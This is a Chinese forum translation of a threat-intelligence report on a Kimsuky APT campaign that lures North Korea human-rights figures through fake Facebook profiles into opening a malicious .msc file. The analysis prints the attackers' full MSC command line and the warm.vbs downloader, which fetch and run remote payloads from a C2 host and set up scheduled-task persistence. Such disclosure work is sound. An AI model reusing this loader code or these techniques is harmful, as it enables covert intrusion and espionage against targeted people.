-
-
[翻译]发现利用 Facebook 和 MS 管理控制台实施的 Kimsuky APT 攻击
-
发表于: 2024-5-10 20:31 7054
-
发现利用 Facebook 和 MS 管理控制台实施的 Kimsuky APT 攻击
情报来源: https://www.genians.co.kr/blog/threat_intelligence/facebook
制作:梦幻的彼岸
Genius 安全中心(GSC)发现,Kimsuky APT 组织采用了新的攻击策略,并与韩国互联网和安全局(KISA)威胁情报网络合作,开展了一次公私联合分析和应对行动。 特别是,这次 APT 攻击利用美国 Meta 公司旗下的在线社交网络服务 Facebook 进行初步渗透。
攻击者以虚假身份创建了一个 Facebook 账户,冒充韩国北朝鲜人权领域的公职人员,并试图通过在线好友请求和私人信使与北朝鲜主要人权和安全官员取得联系。
[图 1] Kimsuky 组织基于 Facebook 的 ReconShark 攻击 Facebook 流程图
首先,这种威胁的特点是出现与某些韩国公职人员相似的虚假 Facebook 账户。据信,主要目标是人权和北朝鲜领域的活动家。
最初的个人方法类似于基于电子邮件的鱼叉式网络钓鱼攻击策略。然而,使用 Facebook Messenger 进行交流、建立信任和取得进展表明,Kimsuky APT 攻击的胆子越来越大。
实际攻击中使用的 Facebook 界面上有一张似乎来自公共组织的背景照片。冒充政府官员的攻击者假装分享他们创建的私人文档,试图获得目标的信任。
[图 2] 伪造的政府官方 Facebook 界面和真实的 Messenger 攻击界面(部分模糊)
如果你被这条信息所迷惑,点击 OneDrive 链接,就会进入文件下载界面。
如果查看在云中注册的信息,可以看到在 2024 年 4 月 19 日下午 5:48 时,一个名为 “Robert Soofer ”的用户注册了一个名为 “My_Essay(prof).msc ”的文件。请注意,这与美国国防部负责核与导弹防御政策的前副助理国防部长 “ROBERT SOOFER 博士 ”同名。
[图 3] 实际攻击时使用的 OneDrive 界面(部分模糊)。
[.msc]类型与 “My_Essay(prof).msc ”文件名的扩展名一样,是一个 “Microsoft 通用控制台文档”,可链接并运行 “Microsoft 管理控制台 ”程序。这是 Kimsuky APT 活动中一种不同寻常的攻击形式。据观察,攻击者引入了一种并不广为人知的攻击方案,并正在秘密使用。
在调查此案时,GSC 发现日本已经发现了使用相同命令与控制 (C2) 服务器的类似攻击。 4 月 5 日,一个名为 “NZZ_Interview_Kohei Yamamoto.msc ”的恶意文件被上传到谷歌运营的 VirusTotal,注册的来源国为日本。
攻击中使用的诱饵文件名为 “NZZ 采访”,包含与美国、韩国和日本三方峰会以及日本安全部门相关的英文内容。有几种情况表明,这可能是针对日本人的有针对性的攻击。
[图 4] Google Virustal 注册界面
特别有趣的是,当恶意文件上传到 Virustal 时,所有 60 个跨国反恶意软件扫描程序都未能检测到威胁。这表明,以前未知的模式在现实世界的攻击中可能非常有效。
GSC 能够获取诱饵 “NZZ_Interview_Kohei Yamamoto.docx ”合法文档的内容,该文档会在执行 “NZZ_Interview_Kohei Yamamoto.msc ”恶意文件时显示。
调查仍在进行中,目前尚不清楚在日本发现的案例是否与在韩国一样是通过 Facebook Messenger 传播的。 不过,针对韩国和日本的 APT 攻击显然正在秘密进行中。
[图 5] 文件 “NZZ_访谈_山本康平.docx ”的内容
这是首次观察到一个变种先是针对假定的日本目标,不久后又在韩国出现。
比较两个恶意软件的执行界面,可以发现相同的模式。触发执行的文件名不同,但都使用了 “安全模式 ”名称。
[图 6] 韩国和日本发现的恶意文件执行界面对比
下载在 OneDrive 上注册的 “My_Essay(prof).msc ”文件时,它可能看起来像这样。Windows 操作系统的默认设置通常会隐藏扩展名,因此如果您安装了相同版本的 MS Office 产品,而扩展名被隐藏,您可能会弄错文档的图标。
[图 7]“My_Essay(prof).msc ”文件下载界面
My_Essay(prof).msc "文件采用 XML(可扩展标记语言)语言结构。可通过设置条件将其配置为 MS Word 图标的样子。
<VisualAttributes>
<String Name="ApplicationTitle" ID="10"/>
<Icon Index="0" File="C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE">
<Image Name="Large" BinaryRefIndex="0"/>
<Image Name="Small" BinaryRefIndex="1"/>
<Image Name="Large48x" BinaryRefIndex="2"/>
</Icon>
</VisualAttributes>
[表 1]“My_Essay(prof).msc ”图标设置界面
执行 Microsoft 通用控制台文件 (.msc) 文件时,[用户帐户控制] 功能首先会请求权限。
如果此时单击 [是] 按钮,则会通过执行 msc 连接程序 “Microsoft Management Console (mmc.exe)”,出现名为 [My_Essay] 的管理控制台界面。
[图 8] 执行 msc 后的管理控制台界面
MSC 恶意文件将控制台根任务窗口命名为 “安全模式”,并通过使用结果窗格式列表和隐藏标准选项卡来简化其可见性。
属性中的任务名称为 “打开”,描述部分为 “My_Essay.docx”,可欺骗性地使其看起来像安全功能的文档启动界面。 点击 “打开 ”部分将执行其中的恶意命令集。
该操作的命令行包含一个 “cmd.exe ”命令和一长串参数值。
[图 9]“My_Essay(prof).msc ”任务的命令行界面
在代码中,任务命令配置如下,并尝试连接到 C2 主机 “brandwizer.co[.]in”。该域名在印度的一家白色服务器托管公司注册,IP 地址为 “5.9.123.217”,位于德国。
<
Tasks>
<Task Type="CommandLine" Command="cmd.exe">
<String Name="Name" ID="5"/>
<String Name="Description" ID="11"/>
<Symbol>
<Image Name="Small" BinaryRefIndex="6"/>
<Image Name="Large" BinaryRefIndex="7"/>
</Symbol>
<CommandLine Directory="" WindowState="Minimized" Params="/c mode 15,1&start explorer "https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/share"&echo On Error Resume Next:Set ws = CreateObject("WScript.Shell"):Set fs = CreateObject("Scripting.FileSystemObject"):Set Post0 = CreateObject("msxml2.xmlhttp"):gpath = ws.ExpandEnvironmentStrings("%appdata%") +
"\Microsoft\cool.gif":bpath =
ws.ExpandEnvironmentStrings("%appdata%") +
"\Microsoft\cool.bat":If fs.FileExists(gpath) Then:re=fs.movefile(gpath,bpath):re=ws.run(bpath,0,true):fs.deletefile(bpath):Else:Post0.open "GET",
"https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp",False: Post0.setRequestHeader "Content-Type",
"application/x-www-form-urlencoded":Post0.Send:t0=Post0.responseText:Set f = fs.CreateTextFile(gpath,True):f.Write(t0):f.Close:End If:>"C:\Users\Public\music\warm.vbs"&schtasks /create /tn OneDriveUpdate /tr "wscript.exe /b
"C:\Users\Public\music\warm.vbs"" /sc minute /mo 41 /f&start /min mshta https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/ttt.hta"/>
</Task>
</Tasks>
[表 2]“My_Essay(prof).msc ”任务命令(略有修改)
参数命令行中使用了三个 HTML 特殊符号。这些特殊符号使用了网页浏览器可以识别的 HTML 语法。
[表 3] HTML 特殊代码说明
执行命令时,它会通过 “cmd.exe ”命令行连接到 “brandwizer.co[.]in ”C2 地址的 “共享 ”路径。在分析时,我们发现它被指向一个特定的 Google Drive 文档路径,并得到 “HTTP/1.1 302 Found ”响应,该文档被用作诱饵文档,使其看起来像合法活动,文件名为 “关于解决韩国强迫劳动索赔的论文.docx”。
然后,通过 echo 消息输出命令和 MSC 内部参数中包含的“> ”特殊符号 (>),在 [public music] 路径下创建文件 “warm.vbs”。
然后将其注册为任务调度程序以保持持久性,其中以 “OneDriveUpdate ”为名注册的计划任务将在首次触发后每 41 分钟无限重复一次。在现有的 Kimsuky 小组的 “BabyShark ”或 “ReconShark ”活动中也可以观察到相同的重复时间设置间隔。
[图 10] “warm.vbs ”恶意文件创建界面
warm.vbs "文件使用环境变量指定的对象和命令的组合。%appdata% 子路径 “Microsoft ”中的 “cool.gif ”和 “cool.bat ”文件分别由字符串 “gpath ”和 “bpath ”指定,如果存在 “gpath ”文件,则将其移至 “bpath”。
因此,“cool.gif ”图像文件扩展名被改为 “cool.bat ”批处理命令。在最初的攻击中没有发现 “cool.gif ”文件,据推测该文件是通过从 C2 服务器下载额外命令创建的。以前使用 rfa[.]ink 域的类似攻击都使用了 “qwer.gif ”和 “qwer.bat ”文件名。
On Error Resume Next:
Set ws = CreateObject("WScript.Shell"):
Set fs = CreateObject("Scripting.FileSystemObject"):
Set Post0 = CreateObject("msxml2.xmlhttp"):
gpath = ws.ExpandEnvironmentStrings("C:\Users\[계정명]\AppData\Roaming") + "\Microsoft\cool.gif":
bpath = ws.ExpandEnvironmentStrings("C:\Users\[계정명]\AppData\Roaming") + "\Microsoft\cool.bat":
If fs.FileExists(gpath) Then:
re=fs.movefile(gpath,bpath):
re=ws.run(bpath,0,true):
fs.deletefile(bpath):Else:
Post0.open "GET",
"https://brandwizer.co[.]in/green_pad/wp-content/plugins/custom-post-type-maker/essay/d.php?na=battmp",False:
Post0.setRequestHeader "Content-Type",
"application/x-www-form-urlencoded":
Post0.Send:
t0=Post0.responseText:
Set f = fs.CreateTextFile(gpath,True):
f.Write(t0):
f.Close:
End If:
[表 4]“warm.vbs ”脚本命令(部分修改)
下一步,它试图通过在 “Post0 ”环境变量中设置的 “msxml2.xmlhttp ”对象远程连接到 C2 服务器 “brandwizer.co[.]in ”域名地址,并在包含 WordPress 内容和插件文件夹的多个路径中的 “essay ”子文件夹中调用 “d.php?na=battmp ”命令。
同时,'d.php'代表下载,'na'代表文件名,'battmp'字符串被认为是批处理文件(bat)和临时文件(tmp)的缩写。请注意,“d.php?na=battmp ”参数已在多个 Kimsuky APT 攻击案例中出现过,而且还存在 “vbtmp ”形式的变种。
例如,AhnLab ASEC 博客分析了 “伪装成文档查看器(Kimsuky)的恶意批处理文件(*.bat)正在流通”。
美国安全公司 Sentinelone 的 APT 报告 “Kimsuky 在新的全球活动中增强了侦察能力 ”中也引用了恶意文件的例子。
[表 5] 各安全公司的 “battmp ”使用案例比较
SentinelOne 的一份分析报告详细描述了针对朝鲜情报分析专业美国公司 Korea Risk Group (KRG) 员工的攻击案例。 报告特别介绍了对 ReconShark 恶意软件的深入分析,该恶意软件是为侦察目的而扩展的 BabyShark 的一个组件。
最初的渗透策略是使用鱼叉式网络钓鱼,通过微软 OneDrive 链接发送受密码保护的 “研究建议书-Haowen Song.doc ”恶意文档。OneDrive 链接的使用与本报告中的案例一致。
此外,ReconShark 命令是通过嵌入在 “研究建议书-Haowen Song.doc ”中的宏功能执行的,其 C2 域和 IP 地址为 “rfa[.]ink”(52.177.14[.]24 [US]),并且有历史恶意文档使用相同的 IP 频段。
[表 6] IP 来自 52.177.14 的恶意文件示例[.]24
GSC 观察到一些攻击者以前使用的 TTP(战术、技术、程序)被替换,但也有回收的情况。 这些基于网络威胁情报 (CTI) 的关联分析被用于证据和技术研究,以证明谁是攻击的幕后黑手。
任务计划命令使用 “warm.vbs ”文件执行持久性和选择性攻击命令。随后,“mshta.exe ”命令行调用驻留在 C2 上的 “ttt.hta ”远程脚本。该脚本使用 VBScript 语言配置。
脚本命令通过声明函数名 “Modi (a0) ”来使用,该函数可解释为 “修改 ”的缩写,因为该函数的主要功能是根据条件修改字符串并转换必要部分。
赞赏
- [原创]物联网安全:基础篇 4115
- 威胁情报小课堂:阻止活跃勒索软件的感染 2175
- [翻译]发现利用 Facebook 和 MS 管理控制台实施的 Kimsuky APT 攻击 7055
- 威胁情报小课堂:LockBit Black 2052
- 威胁情报小课堂:Nitrogen 2075